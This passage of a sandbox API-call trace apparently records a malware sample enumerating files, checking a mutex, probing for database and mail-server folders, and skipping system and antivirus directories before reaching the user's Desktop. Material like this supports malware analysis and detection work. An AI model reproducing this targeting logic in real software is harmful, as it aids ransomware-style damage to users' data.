(pMem=0x3ae2e00) returned 0x3f40004 [0278.796] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.796] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0278.796] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.796] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0278.796] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0278.796] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.796] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.796] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.797] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.797] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.797] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0278.797] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.797] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.797] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0278.797] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.797] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.797] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.797] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.797] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.797] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.797] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.797] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.797] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.797] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.798] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.798] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.798] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.798] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.798] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.798] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.798] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.798] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.798] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.798] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.798] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.798] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.798] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0278.798] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.798] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.798] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0278.798] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.798] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.799] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.799] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.799] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.799] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.799] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.799] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.799] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.799] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.799] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.799] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.799] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.799] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.799] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.799] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.799] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.799] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.799] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.799] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.799] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.800] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.800] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0278.800] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.800] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.800] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0278.800] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.800] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.800] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.800] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.800] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.800] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.800] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.800] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.800] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.800] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.800] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.800] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.801] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.801] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.801] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.801] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0278.801] GetLastError () returned 0x12 [0278.801] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0278.801] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0278.801] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0278.801] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0278.801] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.801] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.801] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.801] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.801] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0278.801] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.802] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.802] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0278.802] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.802] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.802] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.802] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.802] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.802] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.802] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0278.802] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.802] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.802] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0278.802] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.802] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.802] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1036", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1036") returned 1 [0278.803] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.803] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.803] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.803] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.803] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0278.803] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.803] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.803] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0278.803] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.803] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.811] GetLastError () returned 0x3 [0278.811] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.811] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0278.811] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.811] GetLastError () returned 0x2 [0278.812] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.812] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0278.812] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.812] GetLastError () returned 0x2 [0278.812] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.812] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c60, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0278.812] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.812] GetLastError () returned 0x2 [0278.812] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.812] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c60, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0278.812] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.813] GetLastError () returned 0x2 [0278.813] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.813] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec01c8, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0278.813] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.813] GetLastError () returned 0x2 [0278.813] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.813] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c60, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0278.813] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.813] GetLastError () returned 0x2 [0278.813] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.813] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c60, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0278.814] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.814] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.814] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.814] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.814] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0278.814] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.814] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.814] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0278.814] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.814] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.814] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0278.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0278.814] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.814] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0278.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0278.814] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.814] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0278.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0278.815] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.815] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0278.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c48, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0278.815] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.815] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.815] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.815] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.815] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0278.815] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.815] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.815] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0278.815] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.815] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0278.815] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c60, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0278.816] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c60, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0278.816] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0278.816] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0278.816] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c60, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0278.816] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c60, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0278.816] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c60, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0278.816] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2a9e8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@祜έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0278.816] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1036\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1036\\") returned 0x1b [0278.816] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0278.817] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0278.817] SHGetPathFromIDListW (in: pidl=0x6e46c8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0278.817] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0278.817] IMalloc:Free (This=0x75e4d000, pv=0x6e46c8) [0278.817] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0278.817] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0278.817] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.817] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.817] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.817] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.817] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0278.817] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.818] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.818] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0278.818] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.818] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da290 [0278.818] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.818] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.818] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0278.818] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.818] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.818] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.818] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.818] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.818] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0278.818] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.818] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.818] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0278.819] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.819] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.819] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0278.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0278.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, 